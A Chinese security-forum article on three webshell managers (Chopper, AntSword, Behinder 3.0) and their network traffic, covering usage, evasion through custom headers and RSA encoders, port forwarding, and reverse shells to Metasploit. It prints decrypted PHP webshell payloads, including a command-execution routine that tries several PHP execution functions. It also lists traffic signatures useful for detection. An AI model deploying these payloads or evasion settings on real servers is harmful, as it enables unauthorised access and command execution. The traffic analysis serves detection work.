webshell使用与流量分析(含数据包)

逍遥子   ·   发表于 2022-04-23 22:06:49   ·   技术文章

一、菜刀

1.使用方法

  1. 菜刀的使用简单,将一句话木马上传到目标,然后直接使用菜刀连接即可,菜刀主要可以对目标进行虚拟终端,文件操作,数据库操作等。

2.流量分析

1.当菜刀和服务器连接后:最开的的两次流量通信,便产生了大量的数据信息。且使用了base64的方式进行编码


2.对数据解码,发现第一的数据是获取设备的信息,第二段数据是写入了一段新的木马,对第二段的base64编码进行转码整理后得到;

  1. @ini_set("display_errors","0");
  2. @set_time_limit(0);
  3. if(PHP_VERSION<'5.3.0')
  4. {
  5. @set_magic_quotes_runtime(0);
  6. };
  7. echo("X@Y");
  8. $D='C:\\phpStudy\\PHPTutorial\\WWW\\webshell\\';
  9. $F=@opendir($D);
  10. if($F==NULL){
  11. echo("ERROR:// Path Not Found Or No Permission!");
  12. }
  13. else{
  14. $M=NULL;$L=NULL;
  15. while($N=@readdir($F)){
  16. $P=$D.'/'.$N;
  17. $T=@date("Y-m-d H:i:s",@filemtime($P));
  18. @$E=substr(base_convert(@fileperms($P),10,8),-4);
  19. $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
  20. if(@is_dir($P))$M.=$N."/".$R;
  21. else $L.=$N.$R;}echo $M.$L;
  22. @closedir($F);
  23. };
  24. echo("X@Y");
  25. die();

  1. 其中特征点有如下三部分,
  2. 第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
  3. 第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
  4. 第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。
  5. 注:
  6. 1.有少数时候eval方法会被assert方法替代。
  7. 2.$_POST也会被$_GET$_REQUEST替代。
  8. 3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

在进行数据传递的过程中,基本都是使用了post的方式向服务端发送数据。


追踪数据流,发现使用了base64的方式加密,但是返回的相应数据是以明文的方式。


通过对base64的数据进行解码,得到如下的数据。可以看到,是通过拼接字符串“assert”和“eavl”

二、蚁剑

1.使用方法:

蚁剑是根据菜刀的基础升级而来,也是可以通过一句话木马进行连接,或者使用蚁剑自带的payload进行连接。使用这种方式连接到的webshell数据没有进行任何的加密或者转码,直接以明文的方式可以被wireshark抓取到。


但是蚁剑可以自定义头数据,而且可以通过配置编码器,对数据进行一个加密,这样可能大程度的减少发现的概率。

为蚁剑设置自定义头数据等其他自定义信息:如图,我们添加了新的请求头数据


蚁剑也可以进行加密编码设置:如图设置一个编码器,在蚁剑的配置文件中对其设置


选定需要配置的编码器,点击rsa配置,设置对应的公私钥


将配置好的的编码器在连接配置文件中加载。


使用这种方式的加密,数据会使用rsa的方式进行加密,使得我们抓取的数据包的数据不再是明文,而是是rsa加密的字符,其他编码器同理。

2.流量分析

  1. 蚁剑是依据菜刀升级而来,所以大致的流量特征会和菜刀及其相似

a.未使用编码器时的蚁剑流量特征分析。

依然使用了POST的方式进行了数据的提交。而且默认情况下没有做任何的数据编码或者加密


通过分析,他依然是上传了一段新代码,用于实现更多的功能

b.使用编码器的蚁剑的流量特征分析。

使用了头信息添加或者修改,可以通过抓包发现,发生了作用。


蚁剑有默认的ua,但是在本次实验的时候,变成了一个可变的动态ua头。


对数据流量进行分析,发现数据好像被加密了


通过base64解码出来,发现是没有意义的数据,可以判断,设置编码器进行的rsa加密产生了作用


通过追踪流发现,请求数据都被加密了,但是响应数据依然使用的明文,通过这个线索,依旧可以实现检测。

三、冰蝎(3.0)

1.使用方式:

​ 冰蝎属于是一个功能强大的webshell管理工具,它有自带的payload,我们只需要将后门文件放到服务器上即可执行功能,冰蝎相比之前的webshell,流量更加安全隐蔽,而且功能更加强大如,设置转发,反弹shell等。

1.连接webshell

找到对应的后门文件,上传到服务器。


使用冰蝎对其连接。发现功能比较多

2.内网穿透

冰蝎支持多种内网穿透方式。


使用端口映射的方式进行一个内网穿透,在冰蝎上做好配置,在vps上使用端口转发工具进行一个监听。


这儿使用的是lcx,且成功完成了转发

3.shell反弹

冰蝎支持shell反弹,甚至可以反弹到cs和msf。


尝试反弹到msf,获取meterpreter。

设置好参数,准备反弹shell到meterpreter,同时可以看到使用的payload


msf端设置好参数,等待shell


冰蝎上开启反弹。msf获取到shell。


其他功能不再测试

2流量分析:

  1. 冰蝎使用对称加密算法。加密过程总共分三步:
  2. 第一步,密钥传递阶段(3.0使用了预共享)。
  3. 第二步,算法协商阶段,加密算法一般为AES128和异或。
  4. 第三步,正式通讯阶段。客户端使用上述密钥加密payloadPOST给服务端,服务端解密后执行将结果又以加密方式作为Response Body返回给客户端。

1.对冰蝎的木马文件进行静态分析:

首先会将连接密码进行md5运算,取前16位,作为session留在服务器端


响应的数据通过aes的方式加密

2.流量抓包分析

因为使用了预共享的密钥,所以基本没有明文直接通信


但是我们自己搭建的环境,自己知道密钥,所以可以将数据解密。


解密出来的东西应该是一串base64编码过的数据。


再一次编码,获取到数据


对第一组数据包进行一个分析:


对请求包进行处理,对获取到的数据进行aes解密和base64转码后,获得的数据,大概可以理解为是一个认证包,如果服务端返沪后后的数据一致,那么就算是认证完成,进入后续流程。

解密后的请求包

  1. @error_reporting(0);
  2. function main($content)
  3. {
  4. $result = array();
  5. $result["status"] = base64_encode("success");
  6. $result["msg"] = base64_encode($content);
  7. $key = $_SESSION['k'];
  8. echo encrypt(json_encode($result),$key);
  9. }
  10. function encrypt($data,$key)
  11. {
  12. if(!extension_loaded('openssl'))
  13. {
  14. for($i=0;$i<strlen($data);$i++) {
  15. $data[$i] = $data[$i]^$key[$i+1&15];
  16. }
  17. return $data;
  18. }
  19. else
  20. {
  21. return openssl_encrypt($data, "AES128", $key);
  22. }
  23. }$content="aWxjVG54ejFQRVdnM1lLbFNXUU1sRkQycWVqblMxd0JJbmdYa2EyNGdIUjRJcXV4NWp5NHZiQjdJT1huOHVXcENGd2FMWkZqRWhXZFNnaVpxR2cxUzBLeTJrVkpMUGpYWEZJR29QdFlPRk9VN2xtQVhtZzNlR1ZpUjl5ZjlpMEh4N2g3SFdyampDNm1oTUNueHdmTHZzTzRmOVJORVlacldVRGcydkJSSUNsdUxKQjZKdWZ0SEZIVkxXOFVUbWFUZmsyeklvMWR5TWd5RlhneW9aUFhkR2xXV0VCYTRyQzM1UFpxdFFmU2RiWXlFSnhBQ3hRVkU2djV2RFlQQUJETFZQekEwUGwzRXhTazdvSkc1UWJubXp2aVJRMHN3SGtucmdTWjdaMXlQRGVrdUZETFdCZlMwTUxVbEpaaG81T2Q2YXdsR3BRcjNVdnhpT25tMjJ0TmNjZjU2a242Z0p4VjlSamNlTHpIMldyeXNNZmdKUXNnN1l2RmZCMkRtcFVubGtRNXRzTFNaWE0yQ0I4MVRZOWVqaGRVVk8ybUI0cFRvNUNxb295VTdoTnhFbk5ISFlGbVhqWVZNSkYyRU9yT2RtRm5tOXFqdlF3cnVjUXRxU2dEUHZCRlA0Nndrd3Znd3lMVkJjbDRjRHk0dVNOT2ZGSmJKNE9UbWlGaWNZNWx5aHJNVHhXS0RhMnAxZ3RWT3phRWZybHpPUGVvZ3lSTWN2bDRzNUtrQlBFVHN5RGJXRTFPbnJvOEhUb1l3dEtBUGVscmlLWWdaczJmUHZZVzlveE03d3p0UXBaOGl2YnYweTlVemZWWkF5bzE4NmdQOXJ0Yzc5ZXVscDFMTm4yZUxUTGtqcllnblhiZGJsMVhmcm5BcnJnd1BlZWFBemV3cE5aem91Q2haV29YcEphaVA1UjMzQjJnR3M0NFZUQ2VzWmdmT3h1WkxPdlFzcWdWQjF5dEp1ZUtyQlRwWGxFVEhWc2c0bk9qeTg2Y1lvSVJPZmk4cU55ejVEZjN1RWt4dHJGRTBmUDlDYnpSQ21HYUJqdnI4d2pnelhQUXdzVFFqMXB1RllvRzZmMTZZaEk1MUZhQ0FXMjNpdENyZFMySm5ocmFIY1Q1a1hqTjk1aHJkbTA3T1VLeEw2M2ZHRnI5d1dpb0hHNFJhekRXakc1RWl5M1pUVERQYmlQZmIyOGZmNmVQMTBrSVJwUnZjODF0eGp2YXpTVlE4WGQ5alBlVzNKV3BMY09qWFpzaHNIMmQ0eDNLNWZwRXZ1SjljeDhHTlBNYzRTWGpTcXpoUGpRdVVRclNNVGdhZWZrNzh1dkNtQnliQTY3ZWxFYWtoWmdKQktuU0l2Z2RjMGNyOFdwZndwMzRhTmc1UEZCU1Fuazc4UVZZekl0ZnJSSGV3eHkzVEVYRjZiWmdoUGUzRUdyNXI4N2E1amkxUWFjYlRob005ZHgxNnJyOHU2bzF1eTF6N29PSzY5MEx4WjVPYjlmWndxWEk0dU1RbGZDUnNIN0VVWWgwV2dxODN1ZHZ1blBHaDdWQ0lab0xMWUs4eHhFWm4yRm1uenlWdU9id0NZYkx6OWdySG53ZUVsUWpQa0d3NlA3YmNQMm5MMUdqZzNwZ3BxVEVOdzdYdElIYVFpNjZpOWRzMmhobGpycHR1ekVqTVVvbUJQckFTM2RwRkVBeFdBRG1ab2FUN1ZQNHBQSms1QmpBOWhwMk1jZU9PMU82ZENjWXVtTjBDVUxPNDlzbkNiVHEzM0E4TExtcms5WlhDTHFuVU1TQVoyVzRYdzk0bXl3d1FJRUZBdHg3azRDTzRXN2lyTkR3MUVWb3JyYlBVdkp3cWtWMnRpMWRJaHloYTFHV0VQSWRGV3J5REFwNnRRVlhXMDRkOXFtT011cjE0aXR1cEJaUlVZMlZGU0p0dkhqV1RkSTlJeVoycXdqM3RmQUd3dHJ1RWZDQmQ5VUVRdVpraE1SWmpUSEJDQXk4RDg1MkR1RlF4OTRZWmNWMEZWN3puR0k3SDl2RmlJNmdiZ0VsTUNudjAzdVBmUlNtY0xibnM3YWV2Unc1S1BaN1FIM0JqeTdzaGVXTUtVeGExb2RNUVNiQnNkek85ejJTanpPZkVMcnFBekh6eG1mWDZxcVlsS0JVaGZlckFZN0JRY2kxWmw5MGZKTEZhdHhkcDFDVUgyTGN2SVhtRmFqdU9DYVY0Rk5vVGs0aUFTNXB6NUtheXZDWTdvRFA1ckpkd1IzTjVlb0pXVDVnR2J1QUFyWVl2aEtZTU4xQVRxZnFwSnlkaTlMQ01nWDh5UmI5MEwycGo1TVprcFp5NVZZakdwMElWUGV4cVZVS2JWa1hjbkZCUWtETXlzOVBzUHUyR2hUdFdrSlZOZWtLMWJSTXhWZWR4Wm5GZ2VBN1lsVExhUmdzUVBkNXdRa2FRS2pnbDEzWk5UT3RUQjZidG9GNkRTM1JwWURxc0hCRkd0NVFqd0FGYVByWFZtYkxCUDZkc280V3kxZTJxVVZuV0hmbFZWTXk5dXpGalhRRHM4MkVhNVlqYmVpajNXOGl3RFNPaHFwTU9FQ2l2eVkxZmdFcG9CM3hSRmpGdWlmWGRiWndHMEpsYkVvcnZPRGlDOEhZWjhPaU12dTFxM0lTMUNPejU2VHhzUFFYdVhQTmJSNkg2V0FGd1FHRDlWbHIybTF6WkdRY0hmdHl2dWQzb1VEVFQ3RThKRFBWaXJ0ZEtEVFJodDR4SVBHMVBpdG00WjRldm9CRmxySldsdFJRa0ZEVnFFdkg5N2xMN2hpbzFKdGdRYmFyUWY5QnRMUkdhaUZiTDN0SzBKbzJ1dms1M2pSUXR3alFHMUFuMllkcWw3Wjlib1JDOUxZbm5KdGdJeTdKWWxNU0R1NTRISzRTRGt5UHppbXJncjJBOHptTUtmaXRTQ0RUM2tNVlhlWUVXNEZEMGtHRDdHMGN0WjRFT1NTTjhZTTBrVkxMcnZ6WE5pc2hGc1hES3FMclh0NVNFeVRRdjVocDJ2YkNDSEdwVzNrdWMzaWRuc21CUnZ0V2xhSFRlaGNDQ0I1NzlVVUk2R0FEZTlpdjRUdUdnejlxRTlvcmdrT0tuYmRESkhIRFM5TVJYV1BJY0FHUkVURlFGOENlQ2tmZmJITjVEd1RBRWZ4eDRQSGV6UVBmQTZSTjVqZXdKeWY5dGtkdkVIelJSOTFkVE1JT21kS1AxYzJwekpKZUFJekNaUmg5Sm9MNDhCSW5wWHBXVEE2ckEzNTRKNkJzVzNyMVRFOUU3WmNwTkVXZFdTcGNWZWxGbmtlam5XNklteXgxaHBjcTd1VGxnWVBoRUptNFVxTnMxOHQ5YlByQW1BaHpvM0Zmb3M=";$content=base64_decode($content);
  24. main($content);

经过和返回包的解密转码后做比对,可以认为完成了认证。


完成认证后,客户端向请求端发送了数据,通过解密得到数据。请求执行了phpinfo.

  1. error_reporting(0);
  2. function main($whatever) {
  3. ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
  4. $driveList ="";
  5. if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
  6. {
  7. for($i=65;$i<=90;$i++)
  8. {
  9. $drive=chr($i).':/';
  10. file_exists($drive) ? $driveList=$driveList.$drive.";":'';
  11. }
  12. }
  13. else
  14. {
  15. $driveList="/";
  16. }
  17. $currentPath=getcwd();
  18. //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
  19. $osInfo=PHP_OS;
  20. $arch="64";
  21. if (PHP_INT_SIZE == 4) {
  22. $arch = "32";
  23. }
  24. $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));
  25. //echo json_encode($result);
  26. session_start();
  27. $key=$_SESSION['k'];
  28. //echo json_encode($result);
  29. //echo openssl_encrypt(json_encode($result), "AES128", $key);
  30. echo encrypt(json_encode($result), $key);
  31. }
  32. function encrypt($data,$key)
  33. {
  34. if(!extension_loaded('openssl'))
  35. {
  36. for($i=0;$i<strlen($data);$i++) {
  37. $data[$i] = $data[$i]^$key[$i+1&15];
  38. }
  39. return $data;
  40. }
  41. else
  42. {
  43. return openssl_encrypt($data, "AES128", $key);
  44. }
  45. }$whatever="ZnkyT0dRdjRpaGlXeU92Q0UycHkyVjJDT2R1MWNNcWNuN08yaTJ1Rk1HckVQSVNoSmlya05kZ1NDTnYwZ1N3QUtFMkV0NzFJT1NodDhPNGJpQUl0TzNYSWdJTVZCRW94RXpseHFZVjhXelhPc1FIMm54MllpUklTMDlxWVd5cWxvRW9lOWt3VWF3Y2g0UjhISm9jS08zampLeWsxckhXanZCclRsQ28yQXJPRHpteGtxVTlXM0I5OVN1eUlLNE44UDlIb1NaRXc4Yk1aaVhzWmRySnlnenlNczVCU2M4Zk5uQm0wbFA4S1k5YUNpRUpyY09ZM1kyNlF5U1M5cUtPaVF0akRkVjc2YWZPeUNNVW9iNUJtTmtHcHluMWZMaWlTMnJrbDk5WVZ1T1p3ZXp2aW1nUjE2ZlIwT2F0NWd2UTFOYmlxQ2RmQmE2eUc3OW45RDk4dlhQM0djdVdRRW5iV1hNdzBOQlMybVYxRjJzRW1tS3ZMNGN3ZFZsU0d5eVZUU1BrUlhmSnB2SnpBR3NLN0ZSNzdLdE5pcWU5cVQ1UldNb1YxWmsxMk1LdGI5ajE0NkJJWVptc0VCbnQ1eXN6dVRmWHNvYUJKOUxKMjJFa0k5REVqRHp0Y0hEaThaYVB0ZzlXR29KSmZ0U2NQUGJDdk1CbVF0RTFrTU5ieXNvQWRrSTdqeURENmlNd0dQYTlkV2Y5R0UxTDY3cE8zV29wQWxMM3JDSVhDWWU3SnA1QVo3RXZhUm9CeVNvc3hMS3l4b0RWbUpMR2MwUEJzU3MzYlVnSk9QMEpUeVgwM1F6VmxvMnJLUGlaNFM2MnhISVVuRFNYQkxORVE1Ynk0TUY3bkJyeGJEOUNVaDFxbTNqdzZIRkprU1hYT3g5clJ2NndUMHNtbXRtZmZGemlUWExHb3NSUmZaeWt6b3hZQkFtSU9wQnpEOXZkRGdOendYWTZ0bkx6WDdLZmFBWXJtcnhNVHdRclNlSHJ1ZTYyWktxdzU1aHpucUcyQ1pDNFJYYkxPaFp1NHY0dlRGVkpwNFpSWHN2TjREZ283SkgwYzNvN0xzamFpOXJaU3B1SXVhNGJRQXc3em1Dc0JZN2c2S2RDQUp1c0xCUmJaSGFsc21IaVA5RGplQ2FpWW9jU3kzdVJMQXYxOWtwR09UU3pFdjRCaTVXa1g1RU9JbWZZQXQxa1JYVGRsdkF4aFFaeEJ4SmhNMncyaDZKaWtzc1RtZGI1TUc1b0dxMnNGbWlHSVFpVVFlVUNISXJiSzdLazY1STdCdFdwS3o2am5oeFR4bFNvS0czTGNVZUdUcnNBc2U3aFFhczVtTnFKQk03MkNhZDU2ZEEzVFowamROeExhOGFEUjNFNG5kazZCZlhSUnA5dWVITTRXSXJDYzllMWVZWkZsdkhOeUd6QVQ3MllGQldnTVh2cERVR3kxV2xaMll1V1kwMXBsd1BIMVBQa3dEOHRONGVKSkNkOFd4NVdxWFVvOGRSY0FDNXptYmhTMVNZN1drSUM1WkhZNWt2Z2luWmFWeUpLY0pnNGwwWXBNM3lsRENNamVBQkEwRGpWbTF1Y2lHbVFRZUh5VUJKWEljc0NZNjN2bGV3MG9Tb1BxdFg4NURvUEI1RmVkUW5nMHc4d0RRcFV3QTczdlJVaVdlUWZDUUxNb2RHSENyT3p5N0lKeXdESVc1WVViZUlDUEI4cTBNTmZGWWJ5WFhBSjVPRnBDVVNlR0Q2ampMR0VBN2JqMXBKU0h0UWVWRGt4UU9QVmZFTlRhSGJZem9haDFOM0FEcHRpOWxaZzhoNnhRZmcyT085VHBiek9qQnY5UDQ4OGg2Z1p0TWFDVVRwTkRLR2NQR1E1MnlacTlIeGk2aDJCRmNMUTY0b2VPNzhnUzFibnFhNzZSU2E4UXg1UXQ3NVRmaTlZMWdKUDZRNmg2ZTljaElFc2JhR2c1VkpEbG5YRmtWeUhLYXVZSWtGbXhraXJLSXJqVHRrcWJPc2JQUkxjVU5EV0tDRWhwc1VkNnl6R0lzVWlsZ0FEZU9qZnBzRDYzZTNhd3RxWVpNSGpjcHdPcXdGa3lTWm1BdWdTdXlqZDFZQjdPYm5tZ3ZHbjVhcjg2RGQ1RFNyUlZ5ODg5bXRFVjQydHpuUDNMYkhtS1FYQ0c5TUl3RjE0ODdhN1dJZFRYYXZ6NnBoVDRBRk1ra21NYzFSMUcyRU1rM25IcVRZV0xYT2U2ZXpsbDRzN25uc3JpZExjaU13QnVPYUlLSE9IQzM0Z3pJcGFWOThHZUVkeWZ3YUpod1o1S09EVUJIWmc0UnBqRGVyOHlUVUd5QURCcGN0STlsS3U4QnhXTkhadEhOWEV5cEU1dVdGQlZpS1U5SjkxY1BmMklyc29Ba1N1TVpReUR1RWNlS0JSbWdNUU5wWGNJUFd2dlNVNTFWWnJsUkRjSU1UcmV4a09lOWFaQmRhbFl6enJ4cVI0V3gyaW1iRnFoc1ZsMlo2UVV0YVhtbUg0d0FPTTBwRFI1N3hET3BMNFBOR0tLZUNaT2oyMTYwMTJDME5RN1l4QnVVR0tsYlkxUHdCOHlhSktlQlFVSjVrSlpzeTVvYmJxdDNsQXoxekU0R1pRRmVWNndXS2FmMGQyT0ZTWkhkUUdPd1JaWHZocXZLMlJ5c0FSOVBmaG1jQnVDeWRCcU03alhNRTF2cEF6eVhkbm5YOXZaOUQzcjd0VFFGMXZ1QmoxamZLYlZtNzFMOWYwQ1RRVUN2b3RMR3dyZ0U4ckg=";$whatever=base64_decode($whatever);
  46. main($whatever);

对响应数据处理后,发现反馈的是phpinfo信息。


通过追踪流,可以获取到所有的数据,分别进行解密,观察数据。这里对执行命令(whoami)部分的数据进行分析

通过aes解密和base64编码后得到了数据明文。

  1. @error_reporting(0);
  2. function getSafeStr($str){
  3. $s1 = iconv('utf-8','gbk//IGNORE',$str);
  4. $s0 = iconv('gbk','utf-8//IGNORE',$s1);
  5. if($s0 == $str){
  6. return $s0;
  7. }else{
  8. return iconv('gbk','utf-8//IGNORE',$str);
  9. }
  10. }
  11. function main($cmd,$path)
  12. {
  13. @set_time_limit(0);
  14. @ignore_user_abort(1);
  15. @ini_set('max_execution_time', 0);
  16. $result = array();
  17. $PadtJn = @ini_get('disable_functions');
  18. if (! empty($PadtJn)) {
  19. $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
  20. $PadtJn = explode(',', $PadtJn);
  21. $PadtJn = array_map('trim', $PadtJn);
  22. } else {
  23. $PadtJn = array();
  24. }
  25. $c = $cmd;
  26. if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
  27. $c = $c . " 2>&1\n";
  28. }
  29. $JueQDBH = 'is_callable';
  30. $Bvce = 'in_array';
  31. if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
  32. ob_start();
  33. system($c);
  34. $kWJW = ob_get_contents();
  35. ob_end_clean();
  36. } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
  37. $handle = proc_open($c, array(
  38. array(
  39. 'pipe',
  40. 'r'
  41. ),
  42. array(
  43. 'pipe',
  44. 'w'
  45. ),
  46. array(
  47. 'pipe',
  48. 'w'
  49. )
  50. ), $pipes);
  51. $kWJW = NULL;
  52. while (! feof($pipes[1])) {
  53. $kWJW .= fread($pipes[1], 1024);
  54. }
  55. @proc_close($handle);
  56. } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
  57. ob_start();
  58. passthru($c);
  59. $kWJW = ob_get_contents();
  60. ob_end_clean();
  61. } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
  62. $kWJW = shell_exec($c);
  63. } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
  64. $kWJW = array();
  65. exec($c, $kWJW);
  66. $kWJW = join(chr(10), $kWJW) . chr(10);
  67. } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
  68. $fp = popen($c, 'r');
  69. $kWJW = NULL;
  70. if (is_resource($fp)) {
  71. while (! feof($fp)) {
  72. $kWJW .= fread($fp, 1024);
  73. }
  74. }
  75. @pclose($fp);
  76. } else {
  77. $kWJW = 0;
  78. $result["status"] = base64_encode("fail");
  79. $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
  80. $key = $_SESSION['k'];
  81. echo encrypt(json_encode($result), $key);
  82. return;
  83. }
  84. $result["status"] = base64_encode("success");
  85. $result["msg"] = base64_encode(getSafeStr($kWJW));
  86. echo encrypt(json_encode($result), $_SESSION['k']);
  87. }
  88. function encrypt($data,$key)
  89. {
  90. if(!extension_loaded('openssl'))
  91. {
  92. for($i=0;$i<strlen($data);$i++) {
  93. $data[$i] = $data[$i]^$key[$i+1&15];
  94. }
  95. return $data;
  96. }
  97. else
  98. {
  99. return openssl_encrypt($data, "AES128", $key);
  100. }
  101. }$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1x3ZWJzaGVsbFwiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3dlYnNoZWxsLw==";$path=base64_decode($path);
  102. main($cmd,$path);

看不大懂是个啥,但是大致知道了就是用这个代码实现了命令执行的功能,对最后的两串cmd参数,path参数的base64数据解码,得到了路径和执行的命令。


对响应的数据进行一个分析,将响应数据的密文复制,进行一个解密


继续得到一串base64数据。

说明:流量包附件

不同的版本可能会存在不同的效果,将我分析过程中的流量包放在了附件。

用户名金币积分时间理由
君叹 8.00 0 2024-04-19 19:07:13 一个受益终生的帖子~~
Track-劲夫 50.00 0 2022-04-25 17:05:21 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

webshell_parse.zip   文件大小:0.768M (下载次数:3)

0 条回复   |  直到 2022-4-23 | 787 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.